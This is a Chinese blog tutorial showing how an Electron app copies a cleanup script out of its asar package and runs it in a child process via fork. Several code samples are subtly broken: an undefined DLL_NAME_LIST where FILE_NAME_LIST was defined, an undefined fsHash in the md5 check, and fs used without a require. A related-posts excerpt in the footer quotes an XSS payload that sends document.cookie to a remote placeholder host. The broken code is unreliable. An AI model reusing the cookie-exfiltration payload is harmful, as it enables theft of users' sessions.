Electron怎么启动并行的子任务小白攻略_Electron使用教程

有些场景下比如要处理一大堆文件内容的查找,字符串的替换,文件的修改等一系列耗时操作的时候,如果放在主进程执行那必然会导致渲染进程的阻塞,界面会出现卡死的现象,影响用户体验。那怎么能并行地去处理这些事情呢,可以通过node的多进程去实现。如果你在思考把这些任务放在新的渲染进程中去做,那么每次启动一个任务都要打开一个隐藏的窗口,还要考虑去怎么关闭,代价有点高。这

Electron怎么启动并行的子任务小白攻略

有些场景下比如要处理一大堆文件内容的查找,字符串的替换,文件的修改等一系列耗时操作的时候,如果放在主进程执行那必然会导致渲染进程的阻塞,界面会出现卡死的现象,影响用户体验。那怎么能并行地去处理这些事情呢,可以通过node的多进程去实现。如果你在思考把这些任务放在新的渲染进程中去做,那么每次启动一个任务都要打开一个隐藏的窗口,还要考虑去怎么关闭,代价有点高。这里用一个清除缓存的例子介绍下具体步骤,功能很简单就是每次应用启动的时候清理一些指定的文件。

Electron怎么启动并行的子任务小白攻略_Electron使用教程

Node多进程

先简单介绍一下,node的多进程是通过child_process和cluster模块实现。child _process模块中创建子进程有这样几种方式,fork、spawn、exec和execFile。spawn可以指定子进程执行的文件路径,也可以传递参数,但是API使用起来要麻烦一点,fork与spawn功能类似,在它上面又做了一次封装,所以在传递参数上面要更简洁一些,exec和execFile两个差不多,都可以直接执行命令或者传入可执行文件的路径。cluster是属于集群的API,可以更方便地处理主进程和其他子进程之间的关系,就是更容易地处理负载问题,因为Node的多进程都是属于一个Master进程管理多个Worker进程的形式。

Electron中使用child_process模块

Electron中使用多进程有个坑,它不能在子进程中使用非Node标准模块的其他模块,比如第三方模块或者Electron中的模块,当你有这样的代码时就会出现错误,require(‘lodash’)或者require(‘electron’)。这是因为子进程中会有一个预设的环境变量,ELECTRON_RUN_AS_NODE=true,这样的话就会认为在Node的环境下执行,所以第三方模块和Electron是找不到的,而且这个值你是改不了的,可以参考这个issue,当你有这样的需求的时候就要考虑用一些其他的方式了。

生成任务脚本

Electron在应用程序打包后会在一个asar文件中,里面的文件目录是不能直接去引用的,所以如果启动的任务是一个文件的执行路径,那么这个文件需要放在一个可以直接读取的路径上,那就需要在启动或者其他的某个时间去把工程中的脚本拷贝到磁盘某个可以正常访问的路径上。
可以采取这样的作法,把已经写好的脚本放在工程的static目录下,这样打包后就会原封不动地放在<应用目录>/dist/electron/static目录下,然后把对应的文件拷贝到指定路径,例如我这里直接拷贝到了应用目录的父级目录,这里说的应用目录就是你的asar文件所在目录。

//copyUtils

const path = require('path');
const fs = require('fs');
import {app, dialog} from 'electron';

const FILE_NAME_LIST = ['clean.js'];

function copyFile(fileName, callback) {
    let fromPath = path.resolve(app.getAppPath(), 'dist', 'electron', 'static') + path.sep;
    let targetPath = path.resolve(app.getAppPath(), '../') + path.sep;
    let fromFileName = fromPath + fileName;
    let targetFileName = targetPath + fileName;
    if (!fs.existsSync(targetFileName)) {
        fs.readFile(fromFileName, (readErr, data) => {
            if (!readErr) {
                fs.writeFile(targetFileName, data, writeErr => {
                    if (writeErr) {
                        dialog.showErrorBox('WriteErr', writeErr.message);
                    } else {
                        callback(targetFileName);
                    }
                })
            } else {
                dialog.showErrorBox('ReadErr', readErr.message);
            }
        })
    } else {
        callback(targetFileName);
    }
}

export default {
    initScripts(callback) {
        if (process.env.NODE_ENV === 'production') {
            let allCount = DLL_NAME_LIST.length;
            let currentCount = 0;
            for (let item of DLL_NAME_LIST) {
                copyFile(item, name => {
                    ++currentCount;
                    if (currentCount === allCount) {
                        callback(true);
                    }
                });
            }
        }
    }
}

这个clean.js就是清理缓存的脚本。

// clean.js

process.on('message', folder => {
    // 接收一个目录然后去查找匹配的文件并删除,具体的就不贴了,无关紧要
    delete(folder);
    
    // 执行完自动退出
    process.exit(0)
});

console.log('clean task has created...');

当文件不存在的时候才会拷贝脚本,假如脚本存在但是已经被修改了,这时候是不知道的,那执行的时候就会出错,更好的做法是再校验一下文件的md5,如果文件损坏依然执行拷贝操作。

const crypto = require('crypto');
const fs = require('fs');

let hash = crypto.createHash('md5');
let buffer = fs.readFileSync('脚本目录');
hash.update(buffer);
let md5 = fsHash.digest('hex');
// 比较当前md5与预设的md5是否一致

部署脚本

可以选择在应用启动的时候执行文件的拷贝

// deployUtils

import {app} from 'electron'
import copyUtils from './copyUtils';
const path = require('path');
const cp = require('child_process');

const runtimeFolder = path.resolve(app.getAppPath(), '..') + path.sep;
const cleanProcessName = 'clean.js';

function startTask() {
    let cleanProcess = cp.fork(runtimeFolder + cleanProcessName);
    cleanProcess.send('清理的目录');
    // 有更多的任务可以一直继续fork追加
}

/**
 * 把所有.js结尾的文件都拷贝到指定目录
 * @param {String} srcDir 源文件目录 
 * @param {function} next 回调函数 
 */
function copyFile(srcDir, next) {
    fs.readdir(srcDir, (err, files) => {
        if (err) {
            console.log(err)
        } else {
            let index = 0;
            let targetCount = 0;
            for (let item of files) {
                if (item.endsWith('.js')) {
                    targetCount++;
                    let distFilePath = runtimeFolder + item;
                    // 同名文件会被覆盖
                    fs.copyFile(srcDir + path.sep + item, distFilePath, err => {
                        if (err) {
                            console.log(err)
                        } else {
                            index++;
                            if (index == targetCount) {
                                next();
                            }
                        }
                    })
                }
            }
        }
    })
}

export default {
    deploy() {
        if (process.env.NODE_ENV === 'production') {
            copyUtils.initScripts(() => {
                startTask();
            })
        } else {
            let fromDir = path.resolve(__dirname, '..', '..', 'static') + path.sep;
            new Promise(resolve => {
                copyFile(fromDir, resolve);
            }).then(() => {
                startTask();
            })
        }
    }
}

可以在创建窗口的时候启动

// src/main/index.js

import deployTask from './deployTask'

...

function createWindow() {
    deployTask.deploy();
}
海计划公众号
(0)
上一篇 2020/03/20 07:33
下一篇 2020/03/20 07:33

您可能感兴趣的内容

  • 项目经理基本技能之测试篇入门基础知识_测试使用说明

    近年来,各种软件发开技术大行其道,让IT从业人员应接不暇,忙的一塌糊涂。可是,从项目管理角度来说,光有一批技术达人是不够的,测试的质量,文档的完毕也是必不可少,同时也是为节省项目成本,提高产品质量。反过来对有志于成为项目经理的IT精英,更要多学习项目管理的相关知识,文武全才才能持久保持竞争力。本文先从全局角度,本文整理列举了“项目经理基本技能之测试篇”的相关

    2020/04/06
  • 在Vue项目中使用Eslint新手入门PrettierStylelint小白攻略_项目

    准备工作首先搭建vue项目,lint选择ESLint + Prettier,配置方式选择In dedicated config files。具体搭建过程这里就不赘述了,如果不熟悉的同学可以点击这里。配置Eslint项目搭建完成后,根目录下会自动生成一个.eslintrc.js文件,我们直接来看默认的配置:module.exports = {root: tru

    2020/03/26
  • sass和less的优缺点菜鸟教程_sass小白攻略

    简述sass和less都是css的预编译处理语言,他们引入了mixins,参数,嵌套规则,运算,颜色,名字空间,作用域,JavaScript赋值等 加快了css开发效率,当然这两者都可以配合gulp和grunt等前端构建工具使用sass和less主要区别:在于实现方式 less是基于JavaScript的在客户端处理,引入less.js就可以处理,sass是

    2020/03/30
  • 提高开发效率的 Vue 技巧小白基础_效率使用帮助

    最近俩月正好用 vue 做了一个大数据的项目,积累了很多心得。今天终于有机会分享出来了。组件(component)的使用vue 提供的模块化无疑是提高开发效率的神器,而且对于后期代码优化和维护也提供的极大地便利。组件使用简介vue 提供了组件功能,组件又可以分为全局组件和非全局组件。区别是全局组件你可以直接在 .vue 文件中直接使用自定义的 html 即可

    2020/03/24
  • css实现div垂直水平居中的2种常用方法小白知识_布局小白教程

    方法一:利用vertical-align:middle进行垂直方向上的居中对齐,此方法需要满足的条件:设置父元素的行高line-height等于父元素height的高度子元素必须是行内块级元素display:inline-block;子元素设置vertical-align:middle此方法在开发中不能右浮动(不能靠右边)下方是完整代码,可以新建一个HTML

    2020/03/30
  • 互房客携手正达打造南疆人居标杆 即将盛大启幕使用攻略_活动新手入门

    中式庭院 | 阔景大宅阿克苏正达-天山熙湖—期【国仕山】采用新中式风格,汲取中式压顶、通花格、直棂窗等中国传统建筑元素,将中式的经典元素提炼并加以丰富,采用线条设计突出建筑的现代感,各元素相互融合、相辅相成,从而产生独具一格的新中式建筑风格。在充分保证建筑美感的同时,让更多的绿色、水系和景观成为现实。未来居住于此,无论游走在客厅还是主卧,园林如一缕画

    2020/03/24
  • duo.js小白基础前端的下一代包管理器。

    duo.js基础入门 官方网址:http://duojs.org/ GitHub:https://github.com/duojs/duo 简介描述:前端的下一代包管理器。 Duo…

    2020/03/05
  • Vis.js小白指南基于浏览器的动态 JavaScript 可视化库

    Vis.js基础入门 官方网址:http://visjs.org GitHub:https://github.com/almende/vis 简介描述:基于浏览器的动态 JavaS…

    2020/03/05
  • Js变量的扩展与解构使用说明_变量入门基础教程

    1、发展历史基本概念:ES6 是 ECMAScript6 的一个简称;1996年网景(Netscape)提交给国际标准组织(ECMA)的新语言,希望成为国际标准。第二年发布了Javascript并称为ECMAScript。为什么不叫JavaScript而是ECMAScript呢?有两个原因,一个是因为商标问题,JavaScript是只有网景公司才可以使用的商

    2020/03/29
  • 在textarea和input光标处插入内容,支持ie基础知识_光标小白知识

    项目需求,用户要能够输入和点击外面的公式去插入到textaera中,试了好几种方法,有的是在谷歌下好使,在ie下不好使,最后找到了下面这个方法,目前在ie8以上都可以生效。直接上代码 function insertAtCursor(myField, myValue) {//IE supportif (document.selection) {myField

    2020/03/23
  • xss 加载远程第三方JS基础知识入门_xss小白指南

    script没有调用远程平台,用web接收cookie window.open(‘http://xxx.xxx/cookie.asp?msg=’+document.cookie)简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议</script

    2020/03/30
  • Js数据类型转换小白入门JavaScript 那些不经意间发生的数据类型自动转换_数据使用攻略

    JavaScript可以自由的进行数据类型转换,也提供了多种显式转换的方式。但是更多的情况下,是由JavaScript自动转换的,当然这些转换遵循着一定的规则,了解数据类型自由转换的规则是非常必要的。再次翻阅犀牛书后有了一些总结,与大家分享,有不严谨地方,望指正!数据类型聊到数据类型转换,就不得不提到JavaScript的数据类型:原始类型(Number ,

    2020/04/05
  • Snap.svg小白帮助_一个强大且直观的SVG动画内容操纵API

    Snap.svg入门百科 官方网址:http://snapsvg.io GitHub:https://github.com/adobe-webplatform/Snap.svg 简…

    2020/03/06
  • vue 响应式解析入门基础知识_响应式基础入门

    一个vue的小demoprice: {{price}}total: {{price * quantity}}totalPriceWithSale: {{totalPriceWithSale}}

    var vue = new Vue({

    2020/03/22
  • Fubiz使用帮助_法国每日新鲜创意灵感分享

    Fubiz使用帮助 官方网址:http://www.fubiz.net/ 简介描述:法国每日新鲜创意灵感分享 FuBiz:创意灵感设计分享平台是一个源于法国的每日新鲜灵感分享的网站…

    2020/03/10
  • 程序员快速高效的学习方法攻略教程_学习基础知识教程

    是不是感觉自入行以来,每天都在边学边工作,但是学习的速度还是跟不上技术的发展速度?以前端为例,曾经前端还是 jQuery 的天下,但没过多久,jQuery的“替代者”就出现了,很多新项目都会采用React Native 或 Vue 等前端框架。而 UI 框架也是层出不穷,MintUI、WeUI、Cube UI、Vant UI 等。移动应用开发也面对这类似的情

    2020/03/29